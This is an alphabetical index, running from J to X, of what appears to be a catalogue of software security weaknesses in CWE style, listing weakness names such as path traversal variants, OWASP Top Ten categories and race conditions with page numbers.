J2EE Time and State Issues, 406

K

Key Exchange without Entity Authentication, 346
Key Management Errors, 344

L

Lack of Administrator Control over Security, 660
Least Privilege Violation, 298
Leftover Debug Code, 513
Location, 1
Logic/Time Bomb, 532

M

Mac Virtual File Problems, 64
Misinterpretation of Input, 136
Missing Critical Step in Authentication, 330
Missing Custom Error Page, 734
Missing Handler, 459
Missing Initialization, 477
Missing Lock Check, 442
Missing Password Field Masking, 553
Missing Required Cryptographic Step, 349
Missing XML Validation, 130
Mobile Code Issues, 514
Modification of Assumed-Immutable Data (MAID), 492
Motivation/Intent, 528
Multiple Binds to the Same Port, 593
Multiple Interpretations of UI Input, 472
Mutable Objects Passed by Reference, 400

N

Named Chains, 710
.NET Environment Issues, 536
.NET Misconfiguration: Use of Impersonation, 536
No Authentication for Critical Function, 332
Non-exit on Failed Initialization, 477
Non-Replicating Malicious Code, 531
Not Failing Securely (aka 'Failing Open'), 617
Not Using a Random IV with CBC Mode, 354

Not Using Password Aging, 288
Null Byte Interaction Error (Poison Null Byte), 610
NULL Pointer Dereference, 497
Numeric Errors, 217
Numeric Truncation Error, 228

O

Object Model Violation: Just One of Equals and Hashcode Defined, 575
Obscured Security-relevant Information by Alternate Name, 252
Obsolete Feature in UI, 471
Off-by-one Error, 222
Often Misused: Arguments and Parameters, 559
Often Misused: Path Manipulation, 270
Often Misused: String Management, 274
Omission of Security-relevant Information, 251
Omitted Break Statement in Switch, 507
Operation on Resource in Wrong Phase of Lifetime, 656
Origin Validation Error, 368
Other Intentional, Nonmalicious Weakness, 535
Out-of-bounds Read, 157
Overly Restrictive Account Lockout Mechanism, 631
Overly Restrictive Regular Expression, 215
OWASP Top Ten 2004 Category A1 - Unvalidated Input, 716
OWASP Top Ten 2004 Category A10 - Insecure Configuration Management, 720
OWASP Top Ten 2004 Category A2 - Broken Access Control, 716
OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management, 717
OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws, 718
OWASP Top Ten 2004 Category A5 - Buffer Overflows, 718
OWASP Top Ten 2004 Category A6 - Injection Flaws, 718
OWASP Top Ten 2004 Category A7 - Improper Error Handling, 719
OWASP Top Ten 2004 Category A8 - Insecure Storage, 719
OWASP Top Ten 2004 Category A9 - Denial of Service, 720
OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS), 712
OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access, 715
OWASP Top Ten 2007 Category A2 - Injection Flaws, 713
OWASP Top Ten 2007 Category A3 - Malicious File Execution, 713
OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference, 713
OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF), 714
OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling, 714
OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management, 714
OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage, 715
OWASP Top Ten 2007 Category A9 - Insecure Communications, 715

P

Parameter Problems, 258
Partial Comparison, 216
Passing Mutable Objects to an Untrusted Method, 401
Password Aging with Long Expiration, 289
Password in Configuration File, 286
Path Equivalence: ' filename (Leading Space), 47
Path Equivalence: '/./' (Single Dot Directory), 52
Path Equivalence: '//multiple/leading/slash', 49
Path Equivalence: '/multiple//internal/slash', 50
Path Equivalence: '/multiple/trailing/slash//', 50
Path Equivalence: '\multiple\\internal\backslash', 51
Path Equivalence: 'fakedir/../realdir/filename', 53
Path Equivalence: 'file name' (Internal Whitespace), 48
Path Equivalence: 'filedir*' (Wildcard), 53
Path Equivalence: 'filedir\' (Trailing Backslash), 51
Path Equivalence: 'filename ' (Trailing Space), 47
Path Equivalence: 'file.name' (Internal Dot), 46
Path Equivalence: 'file...name' (Multiple Internal Dot), 46
Path Equivalence: 'filename....' (Multiple Trailing Dot), 45
Path Equivalence: 'filename.' (Trailing Dot), 45
Path Equivalence: 'filename/' (Trailing Slash), 49
Path Equivalence: Windows 8.3 Filename, 54
Path Traversal, 22
Path Traversal: '....' (Multiple Dot), 35
Path Traversal: '...' (Triple Dot), 34
Path Traversal: '...//', 36
Path Traversal: '.../...//', 37
Path Traversal: '/../filedir', 27
Path Traversal: '/absolute/pathname/here', 39
Path Traversal: '/dir/../filename', 27
Path Traversal: '../filedir', 26
Path Traversal: '\..\filename', 31
Path Traversal: '\\UNC\share\name\' (Windows UNC Share), 42
Path Traversal: '\absolute\pathname\here', 40
Path Traversal: '\dir\..\filename', 32
Path Traversal: '..\filedir', 29
Path Traversal: 'C:dirname', 41
Path Traversal: 'dir/../../filename', 28
Path Traversal: 'dir\..\..\filename', 33
Pathname Traversal and Equivalence Errors, 21
Permission Issues, 302
Permission Preservation Failure, 307
Permission Race Condition During Resource Copy, 680
Permissions, Privileges, and Access Controls, 290
Permissive Regular Expression, 609
Permissive Whitelist, 211
PHP External Variable Modification, 495
Plaintext Storage in a Cookie, 339
Plaintext Storage in a File or on Disk, 338
Plaintext Storage in Executable, 342
Plaintext Storage in GUI, 341
Plaintext Storage in Memory, 340
Plaintext Storage in the Registry, 339
Plaintext Storage of a Password, 280
Pointer Issues, 486
Porous Defenses, 733
Predictability Problems, 364
Predictable Exact Value from Previous Values, 365
Predictable from Observable State, 364
Predictable Seed in PRNG, 362
Predictable Value Range from Previous Values, 366
Privacy Leak through Data Queries, 233
Privacy Violation, 380
Private Array-Typed Field Returned From A Public Method, 519
Privilege / Sandbox Issues, 291
Privilege Chaining, 294
Privilege Context Switching Error, 296
Privilege Defined With Unsafe Actions, 293
Privilege Dropping / Lowering Errors, 296
PRNG Seed Error, 361
Process Control, 134
Process Environment Information Leak, 244
Product UI does not Warn User of Unsafe Actions, 378

Product-External Error Message Information Leak, 241
Product-Generated Error Message Information Leak, 241
Protection Mechanism Failure, 684
Public cloneable() Method Without Final (aka 'Object Hijack'), 514
Public Data Assigned to Private Array-Typed Field, 520
Public Static Field Not Marked Final, 525
Public Static Final Field References Mutable Object, 595

R

Race Condition, 383
Race Condition During Access to Alternate Channel, 449
Race Condition Enabling Link Following, 387
Race Condition in Checking for Certificate Revocation, 396
Race Condition in Switch, 389
Race Condition within a Thread, 390
Reachable Assertion, 603
Redirect Without Exit, 688
Reflection Attack in an Authentication Protocol, 327
Relative Path Traversal, 24
Reliance on a Single Factor in a Security Decision, 641
Reliance on Data/Memory Layout, 216
Reliance on DNS Lookups in a Security Decision, 268
Reliance on File Name or Extension of Externally-Supplied File, 632
Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking, 635
Reliance on Package-level Scope, 511
Reliance on Security through Obscurity, 643
Reliance on Undefined, Unspecified, or Implementation-Defined Behavior, 735
Replicating Malicious Code (Virus or Worm), 531
Representation Errors, 169
Research Concepts, 737
Resource Locking Problems, 440
Resource Management Errors, 424
Resource-specific Weaknesses, 615
Response Discrepancy Information Leak, 234
Return Inside Finally Block, 577
Return of Pointer Value Outside of Expected Range, 486
Return of Stack Variable Address, 562
Return of Wrong Status Code, 419
Reusing a Nonce, Key Pair in Encryption, 347
Reversible One-Way Hash, 353
Risky Resource Management, 733

S

Same Seed in PRNG, 361
Security Features, 279
Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade'), 735
Sensitive Cookie in HTTPS Session Without 'Secure' Attribute, 600
Sensitive Data Storage in Improperly Locked Memory, 582
Sensitive Data Under FTP Root, 249
Sensitive Data Under Web Root, 249
Sensitive Information Uncleared Before Release, 252
Serializable Class Containing Sensitive Data, 524
Session Fixation, 408
Seven Pernicious Kingdoms, 689
Signal Errors, 412
Signal Handler Race Condition, 388
Signed to Unsigned Conversion Error, 226
Small Seed Space in PRNG, 363
Small Space of Random Values, 360
Source Code, 13
Spyware, 533
SQL Injection: Hibernate, 563
Stack-based Buffer Overflow, 151
State Issues, 397
State Synchronization Error, 398
Storing Passwords in a Recoverable Format, 281
String Errors, 164
Struts Validation Problems, 120
Struts: Duplicate Validation Forms, 120
Struts: Form Bean Does Not Extend Validation Class, 122
Struts: Form Field Without Validator, 123
Struts: Incomplete validate() Method Definition, 121
Struts: Non-private Field in ActionForm Class, 595
Struts: Plug-in Framework not in Use, 124
Struts: Unused Validation Form, 125
Struts: Unvalidated Action Form, 125
Struts: Validator Turned Off, 126
Struts: Validator Without Form Field, 127
Suspicious Comment, 551
Symbolic Name not Mapping to Correct Object, 412

T

Technology-specific Environment Issues, 1
Technology-Specific Input Validation Problems, 119
Technology-Specific Special Elements, 195
Technology-Specific Time and State Issues, 406
Temporary File Issues, 402
The UI Performs the Wrong Action, 472
Time and State, 382
Time-of-check Time-of-use (TOCTOU) Race Condition, 392
Timing Discrepancy Information Leak, 237
Transmission of Private Resources into a New Sphere (aka 'Resource Leak'), 430
Trapdoor, 531
Trojan Horse, 530
Truncation of Security-relevant Information, 250
Trust Boundary Violation, 526
Trust of OpenSSL Certificate Without Validation, 587
Trust of System Event Data, 381
Trusting HTTP Permission Methods on the Server Side, 636
Trusting Self-reported DNS Name, 318
Trusting Self-reported IP Address, 316
Type Errors, 168

U

UI Discrepancy for Security Feature, 470
UI Misrepresentation of Critical Information, 473
Uncaught Exception, 269
Unchecked Array Indexing, 160
Unchecked Error Condition, 417
Unchecked Input for Loop Condition, 594
Unchecked Return Value, 274
Unchecked Return Value to NULL Pointer Dereference, 681
Uncontrolled Format String, 164
Uncontrolled Recursion, 662
Uncontrolled Resource Consumption (aka 'Resource Exhaustion'), 425
Uncontrolled Search Path Element, 456
Undefined Behavior for Input to API, 497
Unexpected Sign Extension, 224
Unexpected Status Code or Return Value, 420
Unimplemented or Unsupported Feature in UI, 471
Unintended Proxy/Intermediary, 467
UNIX File Descriptor Leak, 430
UNIX Hard Link, 58
UNIX Path Link Problems, 56
UNIX Symbolic Link (Symlink) Following, 56
Unparsed Raw Web Content Delivery, 460
Unprotected Alternate Channel, 448
Unprotected Primary Channel, 448
Unprotected Transport of Credentials, 538

Unprotected Windows Messaging Channel ('Shatter'), 450
Unquoted Search Path or Element, 457
Unrestricted File Upload, 461
Unrestricted Lock on Critical Resource, 440
Unsafe ActiveX Control Marked Safe For Scripting, 607
Unsafe Function Call from a Signal Handler, 502
Unsigned to Signed Conversion Error, 227
Unsynchronized Access to Shared Data, 566
Untrusted Search Path, 453
Unused Variable, 562
Unvalidated Function Hook Arguments, 607
Unverified Ownership, 308
Unverified Password Change, 605
URL Redirection to Untrusted Site (aka 'Open Redirect'), 589
Use After Free, 445
Use of a Broken or Risky Cryptographic Algorithm, 351
Use of a Key Past its Expiration Date, 348
Use of a Non-reentrant Function in an Unsynchronized Context, 651
Use of a One-Way Hash with a Predictable Salt, 737
Use of a One-Way Hash without a Salt, 736
Use of a Resource after Expiration or Release, 660
Use of Client-Side Authentication, 592
Use of Cookies in Security Decision, 564
Use of Cryptographically Weak PRNG, 362
Use of Dynamic Class Loading, 551
Use of Externally-Controlled Input to Select Classes or Code (aka 'Unsafe Reflection'), 490
Use of Function with Inconsistent Implementations, 496
Use of getlogin() in Multithreaded Application, 559
Use of Hard-coded Cryptographic Key, 344
Use of Hard-coded, Security-relevant Constants, 552
Use of Incorrect Byte Ordering, 229
Use of Incorrect Operator, 503
Use of Incorrectly-Resolved Name or Reference, 708
Use of Inherently Dangerous Function, 263
Use of Inner Class Containing Sensitive Data, 515
Use of Insufficiently Random Values, 355
Use of Invariant Value in Dynamically Changing Context, 366
Use of Less Trusted Source, 370
Use of Low-Level Functionality, 686
Use of Multiple Resources with Duplicate Identifier, 685
Use of Non-Canonical URL Paths for Authorization Decisions, 632
Use of NullPointerException Catch to Detect NULL Pointer Dereference, 420
Use of Obsolete Functions, 499
Use of Password System for Primary Authentication, 334
Use of Pointer Subtraction to Determine Size, 489
Use of Potentially Dangerous Function, 663
Use of Single-factor Authentication, 333
Use of Singleton Pattern in a Non-thread-safe Manner, 549
Use of sizeof() on a Pointer Type, 487
Use of umask() with chmod-style Argument, 560
Use of Uninitialized Variable, 478
Use of Wrong Operator in String Comparison, 586
User Interface Errors, 469
User Interface Security Issues, 377
Using Referer Field for Authentication, 319

V

Variable Extraction Error, 606
Violation of Secure Design Principles, 645

W

Weak Cryptography for Passwords, 287
Weak Encryption, 349
Weak Password Recovery Mechanism for Forgotten Password, 622
Weak Password Requirements, 537
Weakness Base Elements, 664
Weaknesses Addressed by the CERT C Secure Coding Standard, 723
Weaknesses Examined by SAMATE, 614
Weaknesses in OWASP Top Ten (2004), 711
Weaknesses in OWASP Top Ten (2007), 613
Weaknesses in Software Written in C, 645
Weaknesses in Software Written in C++, 647
Weaknesses in Software Written in Java, 649
Weaknesses in Software Written in PHP, 650
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors, 732
Weaknesses Introduced During Design, 690
Weaknesses Introduced During Implementation, 696
Weaknesses that Affect Files or Directories, 615
Weaknesses that Affect Memory, 615
Weaknesses that Affect System Processes, 616
Weaknesses Used by NVD, 616
Web Problems, 468
Windows Hard Link, 60
Windows Path Link Problems, 59
Windows Shortcut Following (.LNK), 59
Windows Virtual File Problems, 63
Wrap-around Error, 158
Write-what-where Condition, 154

X

XML Injection (aka Blind XPath Injection), 107